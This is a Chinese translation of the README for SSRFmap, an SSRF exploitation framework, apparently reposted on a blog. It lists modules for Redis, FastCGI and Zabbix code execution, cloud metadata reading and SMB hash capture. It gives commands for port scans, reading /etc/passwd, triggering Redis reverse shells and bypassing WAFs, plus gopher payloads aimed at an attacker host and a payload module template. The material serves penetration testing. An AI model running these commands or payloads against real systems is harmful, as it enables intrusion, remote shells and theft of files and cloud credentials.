SSRF 通常用于利用对其他服务的操作,该框架旨在轻松查找和利用这些服务。SSRFmap 将 Burp 请求文件作为输入和模糊测试参数。
服务器端请求伪造或 SSRF 是一种漏洞,攻击者强迫服务器代表他们执行请求。
概括
模块
下列模块已经实现,可以与参数一起使用-m
。
姓名 | 描述 |
---|---|
axfr | DNS 区域传输 (AXFR) |
fastcgi | FastCGI远程代码执行 |
redis | Redis 远程代码执行 |
github | Github Enterprise RCE < 2.8.7 |
zabbix | Zabbix远程代码执行 |
mysql | MySQL 命令执行 |
postgres | Postgres 命令执行 |
docker | 通过 API 进行 Docker 信息泄露 |
smtp | SMTP 发送邮件 |
portscan | 扫描主机的前 8000 个端口 |
networkscan | HTTP Ping 扫描网络 |
readfiles | 读取如下文件/etc/passwd |
alibaba | 从提供商读取文件(例如:元数据、用户数据) |
aws | 从提供商读取文件(例如:元数据、用户数据) |
gce | 从提供商读取文件(例如:元数据、用户数据) |
digitalocean | 从提供商读取文件(例如:元数据、用户数据) |
socksproxy | SOCKS4代理 |
smbhash | 通过 UNC 路径强制进行 SMB 身份验证 |
tomcat | 针对 Tomcat Manager 的暴力攻击 |
custom | 发送自定义数据到监听服务,例如:netcat |
memcache | 将数据存储在 memcache 实例中 |
安装和手册
- 来自 Github 存储库。$ git clone https://github.com/swisskyrepo/SSRFmap $ cd SSRFmap/ $ pip3 install -r requirements.txt $ python3 ssrfmap.py usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] [-v [VERBOSE]] [–lhost LHOST] [–lport LPORT] [–uagent USERAGENT] [–ssl [SSL]] [–level [LEVEL]] optional arguments: -h, –help show this help message and exit -r REQFILE SSRF Request file -p PARAM SSRF Parameter to target -m MODULES SSRF Modules to enable -l HANDLER Start an handler for a reverse shell -v [VERBOSE] Enable verbosity –lhost LHOST LHOST reverse shell or IP to target in the network –lport LPORT LPORT reverse shell or port to target in the network –uagent USERAGENT User Agent to use –ssl [SSL] Use HTTPS without verification –proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) –level [LEVEL] Level of test to perform (1-5, default: 1)
- Docker$ git clone https://github.com/swisskyrepo/SSRFmap $ docker build –no-cache -t ssrfmap . $ docker run -it ssrfmap ssrfmap.py [OPTIONS] $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
示例
首先,您需要一个带有参数的请求来进行模糊测试,Burp 请求与 SSRFmap 配合良好。它们应该如下所示。./examples文件夹中提供了更多示例。
POST /ssrf HTTP/1.1 Host: 127.0.0.1:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://mysimple.ssrf/ Content-Type: application/x-www-form-urlencoded Content-Length: 31 Connection: close Upgrade-Insecure-Requests: 1 url=https%3A%2F%2Fwww.google.fr
使用-m
后跟的模块名称(,
如果要启动多个模块,请用 分隔)。
# Launch a portscan on localhost and read default files python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan
如果要在标头中注入 GET 或 POST 参数,则只需指定参数名称
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test
如果您需要自定义用户代理,请使用--uagent
。某些目标将使用 HTTPS,您可以使用 启用它--ssl
。
# Launch a portscan against an HTTPS endpoint using a custom user-agent python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
有些模块允许你创建反向连接,你必须指定LHOST
和LPORT
。SSRFmap 还可以监听传入的反向 shell。
# Triggering a reverse shell on a Redis python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 # -l create a listener for reverse shell on the specified port # --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
当目标受到 WAF 或某些过滤器的保护时,您可以使用参数尝试各种有效载荷和编码--level
。
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
SSRFmap 测试
可以使用data/example.py
SSRF 服务来快速测试该框架。
- 当地的FLASK_APP=examples/example.py flask run & python ssrfmap.py -r examples/request.txt -p url -m readfiles
- Dockerdocker build –no-cache -t ssrfmap . # run example ssrf http service docker run -it -v $(pwd):/usr/src/app –name example ssrfmap examples/example.py # run example ssrf dns service docker exec -u root:root -it example python examples/ssrf_dns.py # run ssrfmap tool docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
启动测试请求:
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
贡献
我❤️拉取请求:)请随意添加下面列出的任何功能或新服务。
- Redis PHP 漏洞利用
- HTTP 模块(Jenkins?)
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
如果您希望添加与服务交互的模块,以下代码是一个模板。
from core.utils import * import logging name = "servicename in lowercase" description = "ServiceName RCE - What does it do" author = "Name or pseudo of the author" documentation = ["http://link_to_a_research", "http://another_link"] class exploit(): SERVER_HOST = "127.0.0.1" SERVER_PORT = "4242" def __init__(self, requester, args): logging.info("Module '{}' launched !".format(name)) # Handle args for reverse shell if args.lhost == None: self.SERVER_HOST = input("Server Host:") else: self.SERVER_HOST = args.lhost if args.lport == None: self.SERVER_PORT = input("Server Port:") else: self.SERVER_PORT = args.lport # Data for the service # Using a generator to create the host list # Edit the following ip if you need to target something else gen_host = gen_ip_list("127.0.0.1", args.level) for ip in gen_host: port = "6379" data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a" payload = wrapper_gopher(data, ip , port) # Handle args for reverse shell payload = payload.replace("SERVER_HOST", self.SERVER_HOST) payload = payload.replace("SERVER_PORT", self.SERVER_PORT) # Send the payload r = requester.do_request(args.param, payload)
您还可以通过 IRL 或 Github Sponsor 按钮为啤酒做出贡献。
国内下载链接
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END